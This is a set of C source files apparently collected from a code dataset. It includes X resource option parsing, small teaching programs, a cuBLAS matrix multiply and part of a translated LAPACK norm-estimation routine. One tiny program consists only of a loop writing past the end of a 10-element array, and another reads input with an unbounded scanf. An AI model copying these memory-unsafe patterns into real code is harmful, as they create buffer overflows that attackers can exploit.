exact matches, StickyArg and IsArg */ matches = 1; foundOption = i; break; } } else if (!argchar) { /* may be an abbreviation for this option */ matches++; foundOption = i; } else if (table_is_sorted == Sorted && optchar > argchar) { break; } if (table_is_sorted == Check && i > 0 && strcmp(options[i].option, options[i-1].option) < 0) { table_is_sorted = NotSorted; } } if (table_is_sorted == Check && i >= (num_options-1)) table_is_sorted = Sorted; if (matches == 1) { i = foundOption; switch (options[i].argKind){ case XrmoptionNoArg: --(*argc); PutCommandResource(options[i].value); break; case XrmoptionIsArg: --(*argc); PutCommandResource(*argv); break; case XrmoptionStickyArg: --(*argc); PutCommandResource(argP); break; case XrmoptionSepArg: if (myargc > 1) { ++argv; --myargc; --(*argc); --(*argc); PutCommandResource(*argv); } else (*argsave++) = (*argv); break; case XrmoptionResArg: if (myargc > 1) { ++argv; --myargc; --(*argc); --(*argc); XrmPutLineResource(pdb, *argv); } else (*argsave++) = (*argv); break; case XrmoptionSkipArg: if (myargc > 1) { --myargc; (*argsave++) = (*argv++); } (*argsave++) = (*argv); break; case XrmoptionSkipLine: for (; myargc > 0; myargc--) (*argsave++) = (*argv++); break; case XrmoptionSkipNArgs: { register int j = 1 + (long) options[i].value; if (j > myargc) j = myargc; for (; j > 0; j--) { (*argsave++) = (*argv++); myargc--; } argv--; /* went one too far before */ myargc++; } break; default: _XReportParseError (&options[i], "unknown kind"); break; } } else (*argsave++) = (*argv); /*compress arglist*/ } if (argsave < argend) (*argsave)=NULL; /* put NULL terminator on compressed argv */ }
the_stack_data/4884.c
#include <stdlib.h> #include <stdio.h> int main(int argc, char **argv) { int numbers[10]; int i; for(i = 0; i <= 10; i++) { numbers[i] = 0; } return 0; }
the_stack_data/62638023.c
#include <stdio.h> #define MAX_SIZE 200 int main() { char str[MAX_SIZE]; printf("Enter a sentence: "); scanf("%[^\n]%*c", str); for(int i=0;str[i] != '\0'; i++) { if(str[i] > 96 && str[i] < 123) { str[i] += ('A' - 'a'); } } printf("%s\n", str); return 0; }
the_stack_data/72011483.c
#include<stdio.h> int main() { int c, first, last, middle, n, search, array[100]; printf("Enter number of elements:\n"); scanf("%d",&n); printf("Enter %d integers:\n", n); for (c = 0; c < n; c++) scanf("%d",&array[c]); printf("Enter the value to find:\n"); scanf("%d", &search); first = 0; last = n - 1; middle = (first+last)/2; while (first <= last) { if (array[middle] < search) first = middle + 1; else if (array[middle] == search) { printf("%d is present at index %d.\n", search, middle+1); break; } else last = middle - 1; middle = (first + last)/2; } if (first > last) printf("Not found! %d is not present in the list.\n", search); return 0; }
the_stack_data/154828342.c
#include <cublas_v2.h> #include <cuda.h> #include <curand.h> #include <stdio.h> #include <time.h> #define N 3 // Multiply the arrays A and B on GPU and save the result in C // C(m,n) = A(m,k) * B(k,n). void gpu_blas_mmul(const float *A, const float *B, float *C, const int m, const int k, const int n) { int lda = m; int ldb = k; int ldc = m; const float alf = 1; const float bet = 0; const float *alpha = &alf; const float *beta = &bet; // Create a handle for CUBLAS. cublasHandle_t handle; cublasCreate(&handle); // Do the actual multiplication. cublasSgemm(handle, // handle CUBLAS_OP_N, // transa CUBLAS_OP_N, // transb m, // m n, // n k, // k alpha, // *alpha A, // *A lda, // lda B, // *B ldb, // ldb beta, // *beta C, // *C ldc // ldc ); // Destroy the handle. cublasDestroy(handle); } // Fill the array A(nr_rows_A, nr_cols_A) with random numbers on GPU. void GPU_fill_rand(float *A, const int nr_rows_A, const int nr_cols_A) { // Create a pseudo-random number generator. curandGenerator_t prng; curandCreateGenerator(&prng, CURAND_RNG_PSEUDO_MTGP32); // Set the seed for the random number generator using the system clock. curandSetPseudoRandomGeneratorSeed(prng, (unsigned long long)clock()); // Fill the array with random numbers on the device. curandGenerateUniform(prng, A, nr_rows_A * nr_cols_A); } int main() { // Allocate arrays on CPU. float a[N][N]; float b[N][N]; // srand(time(NULL)); int i; int j; a[0][0] = 1; a[1][0] = 0; a[2][0] = 4; a[0][1] = 2; a[1][1] = 3; a[2][1] = 1; a[0][2] = 3; a[1][2] = 0; a[2][2] = 2; b[0][0] = 1; b[1][0] = 1; b[2][0] = 2; b[0][1] = 2; b[1][1] = 0; b[2][1] = 3; b[0][2] = 3; b[1][2] = 4; b[2][2] = 2; const int nr_rows_A = N, nr_cols_A = N; const int nr_rows_B = N, nr_cols_B = N; const int nr_rows_C = N, nr_cols_C = N; float *h_A = (float *)malloc(nr_rows_A * nr_cols_A * sizeof(float)); float *h_B = (float *)malloc(nr_rows_B * nr_cols_B * sizeof(float)); float *h_C = (float *)malloc(nr_rows_C * nr_cols_C * sizeof(float)); for (i = 0; i < nr_rows_A; ++i) { for (j = 0; j < nr_cols_A; ++j) { h_A[i * nr_cols_A + j] = a[i][j]; h_B[i * nr_cols_A + j] = b[i][j]; } } // Allocate arrays on GPU. float *d_A; float *d_B; float *d_C; cudaMalloc(&d_A, nr_rows_A * nr_cols_A * sizeof(float)); cudaMalloc(&d_B, nr_rows_B * nr_cols_B * sizeof(float)); cudaMalloc(&d_C, nr_rows_C * nr_cols_C * sizeof(float)); // Fill the arrays A and B on GPU with random numbers. // GPU_fill_rand(d_A, nr_rows_A, nr_cols_A); // GPU_fill_rand(d_B, nr_rows_B, nr_cols_B); // Optionally we can copy the data back on CPU and print the arrays. cudaMemcpy(d_A, // h_A, // nr_rows_A * nr_cols_A * sizeof(float), // cudaMemcpyHostToDevice // ); cudaMemcpy(d_B, // h_B, // nr_rows_B * nr_cols_B * sizeof(float), // cudaMemcpyHostToDevice // ); // Multiply A and B on GPU. clock_t begin = clock(); gpu_blas_mmul(d_A, d_B, d_C, nr_rows_A, nr_cols_A, nr_cols_B); double elapsed_ses = (double)((clock() - begin)) / CLOCKS_PER_SEC; printf("Dimension: %d\nTime: %f ms", N, elapsed_ses); // Copy (and print) the result on host memory. cudaMemcpy(h_C, // d_C, // nr_rows_C * nr_cols_C * sizeof(float), // cudaMemcpyDeviceToHost // ); printf("\n"); printf("\n"); printf("\n"); for (i = 0; i < nr_rows_C; ++i) { for (j = 0; j < nr_cols_C; ++j) { printf("%f ", h_C[j * nr_cols_C + i]); } printf("\n"); } printf("\n"); // Free GPU memory. cudaFree(d_A); cudaFree(d_B); cudaFree(d_C); // Free CPU memory. free(h_A); free(h_B); free(h_C); return 0; }
the_stack_data/211079748.c
#include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; #ifdef _MSC_VER static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;} static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;} static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;} static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;} #else static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #endif #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #ifdef _MSC_VER #define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);} #define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/Cd(b)._Val[1]);} #else #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #endif #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimagf(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle() continue; #define myceiling(w) {ceil(w)} #define myhuge(w) {HUGE_VAL} //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)} /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #ifdef _MSC_VER static _Fcomplex cpow_ui(complex x, integer n) { complex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i; for(u = n; ; ) { if(u & 01) pow.r *= x.r, pow.i *= x.i; if(u >>= 1) x.r *= x.r, x.i *= x.i; else break; } } _Fcomplex p={pow.r, pow.i}; return p; } #else static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif #ifdef _MSC_VER static _Dcomplex zpow_ui(_Dcomplex x, integer n) { _Dcomplex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1]; for(u = n; ; ) { if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1]; if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1]; else break; } } _Dcomplex p = {pow._Val[0], pow._Val[1]}; return p; } #else static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* Table of constant values */ static integer c__1 = 1; /* > \brief \b ZLACN2 estimates the 1-norm of a square matrix, using reverse communication for evaluating matr ix-vector products. */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* > \htmlonly */ /* > Download ZLACN2 + dependencies */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zlacn2. f"> */ /* > [TGZ]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zlacn2. f"> */ /* > [ZIP]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zlacn2. f"> */ /* > [TXT]</a> */ /* > \endhtmlonly */ /* Definition: */ /* =========== */ /* SUBROUTINE ZLACN2( N, V, X, EST, KASE, ISAVE ) */ /* INTEGER KASE, N */ /* DOUBLE PRECISION EST */ /* INTEGER ISAVE( 3 ) */ /* COMPLEX*16 V( * ), X( * ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > ZLACN2 estimates the 1-norm of a square, complex matrix A. */ /* > Reverse communication is used for evaluating matrix-vector products. */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > The order of the matrix. N >= 1. */ /* > \endverbatim */ /* > */ /* > \param[out] V */ /* > \verbatim */ /* > V is COMPLEX*16 array, dimension (N) */ /* > On the final return, V = A*W, where EST = norm(V)/norm(W) */ /* > (W is not returned). */ /* > \endverbatim */ /* > */ /* > \param[in,out] X */ /* > \verbatim */ /* > X is COMPLEX*16 array, dimension (N) */ /* > On an intermediate return, X should be overwritten by */ /* > A * X, if KASE=1, */ /* > A**H * X, if KASE=2, */ /* > where A**H is the conjugate transpose of A, and ZLACN2 must be */ /* > re-called with all the other parameters unchanged. */ /* > \endverbatim */ /* > */ /* > \param[in,out] EST */ /* > \verbatim */ /* > EST is DOUBLE PRECISION */ /* > On entry with KASE = 1 or 2 and ISAVE(1) = 3, EST should be */ /* > unchanged from the previous call to ZLACN2. */ /* > On exit, EST is an estimate (a lower bound) for norm(A). */ /* > \endverbatim */ /* > */ /* > \param[in,out] KASE */ /* > \verbatim */ /* > KASE is INTEGER */ /* > On the initial call to ZLACN2, KASE should be 0. */ /* > On an intermediate return, KASE will be 1 or 2, indicating */ /* > whether X should be overwritten by A * X or A**H * X. */ /* > On the final return from ZLACN2, KASE will again be 0. */ /* > \endverbatim */ /* > */ /* > \param[in,out] ISAVE */ /* > \verbatim */ /* > ISAVE is INTEGER array, dimension (3) */ /* > ISAVE is used to save variables between calls to ZLACN2 */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date December 2016 */ /* > \ingroup complex16OTHERauxiliary */ /* > \par Further Details: */ /* ===================== */ /* > */ /* > \verbatim */ /* > */ /* > Originally named CONEST, dated March 16, 1988. */ /* > */ /* > Last modified: April, 1999 */ /* > */ /* > This is a thread safe version of ZLACON, which uses the array ISAVE */ /* > in place of a SAVE statement, as follows: */ /* > */ /* > ZLACON ZLACN2 */ /* > JUMP ISAVE(1) */ /* > J ISAVE(2) */ /* > ITER ISAVE(3) */ /* > \endverbatim */ /* > \par Contributors: */ /* ================== */ /* > */ /* > Nick Higham, University of Manchester */ /* > \par References: */ /* ================ */ /* > */ /* > N.J. Higham, "FORTRAN codes for estimating the one-norm of */ /* > a real or complex matrix, with applications to condition estimation", */ /* > ACM Trans. Math. Soft., vol. 14, no. 4, pp. 381-396, December 1988. */ /* > */ /* ===================================================================== */ /* Subroutine */ int zlacn2_(integer *n, doublecomplex *v, doublecomplex *x, doublereal *est, integer *kase, integer *isave) { /* System generated locals */ integer i__1, i__2, i__3; doublereal d__1, d__2; doublecomplex z__1; /* Local variables */ doublereal temp; integer i__; doublereal absxi; integer jlast; extern /* Subroutine */ int zcopy_(integer *, doublecomplex *, integer *, doublecomplex *, integer *); extern integer izmax1_(integer *, doublecomplex *, integer *); extern doublereal dzsum1_(integer *, doublecomplex *, integer *), dlamch_( char *); doublereal safmin, altsgn, estold; /* -- LAPACK auxiliary routine (version 3.7.0) -- */ /* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* December 2016 */ /* ===================================================================== */ /* Parameter adjustments */ --isave; --x; --v; /* Function Body */ safmin = dlamch_("Safe minimum"); if (*kase == 0) { i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { i__2 = i__; d__1 = 1. / (doublereal) (*n); z__1.r = d__1, z__1.i = 0.; x[i__2].r = z__1.r, x[i__2].i = z__1.i; /* L10: */ } *kase = 1; isave[1] = 1; return 0; } switch (isave[1]) { case 1: goto L20; case 2: goto L40; case 3: goto L70; case 4: goto L90; case 5: goto L120; } /* ................ ENTRY (ISAVE( 1 ) = 1) */ /* FIRST ITERATION. X HAS BEEN OVERWRITTEN BY A*X. */ L20: if (*n == 1) { v[1].r = x[1].r, v[1].i = x[1].i; *est = z_abs(&v[1]); /* ... QUIT */ goto L130; } *est = dzsum1_(n, &x[1], &c__1); i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { absxi = z_abs(&x[i__]); if (absxi > safmin) { i__2 = i__; i__3 = i__; d__1 = x[i__3].r / absxi; d__2 = d_imag(&x[i__]) / absxi; z__1.r = d__1, z__1.i = d__2; x[i__2].r = z__1.r, x[i__2].i = z__1.i; } else { i__2 = i__; x[i__2].r = 1., x[i__2].i = 0.; } /* L30: */ } *kase = 2; isave[1] = 2; return 0; /* ................ ENTRY (ISAVE( 1 ) = 2) */ /* FIRST ITERATION. X HAS BEEN OVERWRITTEN BY CTRANS(A)*X. */ L40: isave[2] = izmax1_(n, &x[1], &c__1); isave[3] = 2; /* MAIN LOOP - ITERATIONS 2,3,...,ITMAX. */ L50: i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { i__2 = i__; x[i__2].r = 0., x[i__2].i = 0.; /* L60: */ } i__1 = isave[2]; x[i__1].r = 1., x[i__1].i = 0.; *kase = 1; isave[1] = 3; return 0; /* ................ ENTRY (ISAVE( 1 ) = 3) */ /* X HAS BEEN OVERWRITTEN BY A*X. */ L70: zcopy_(n, &x[1], &c__1, &v[1], &c__1); estold = *est; *est = dzsum1_(n, &v[1], &c__1); /* TEST FOR CYCLING. */ if (*est <= estold) { goto L100; } i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { absxi = z_abs(&x[i__]); if (absxi > safmin) { i__2 = i__; i__3 = i__; d__1 = x[i__3].r / absxi; d__2 = d_imag(&x[i__]) / absxi; z__1.r = d__1, z__1.i = d__2; x[i__2].r = z__1.r, x[i__2].i = z__1.i; } else { i__2 = i__; x[i__2].r = 1., x[i__2].i = 0.; } /* L80: */ } *kase = 2; isave[1] = 4; return 0; /* ................ ENTRY (ISAVE( 1 ) = 4) */ /* X HAS BEEN OVERWRITTEN BY CTRANS(A)*X. */ L90: jlast = isave[2]; isave[2] = izmax1_(n, &x[1], &c__1); if (z_abs(&x[jlast]) != z_abs(&x[isave[2]]) && isave[3] < 5) { ++isave[3]; goto L50; } /* ITERATION COMPLETE. FINAL STAGE. */ L100: altsgn = 1.; i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { i__2 = i__; d__1 = altsgn * ((doublereal) (i__ - 1) / (doublereal) (*n - 1) + 1.); z__1.r = d__1, z__1.i = 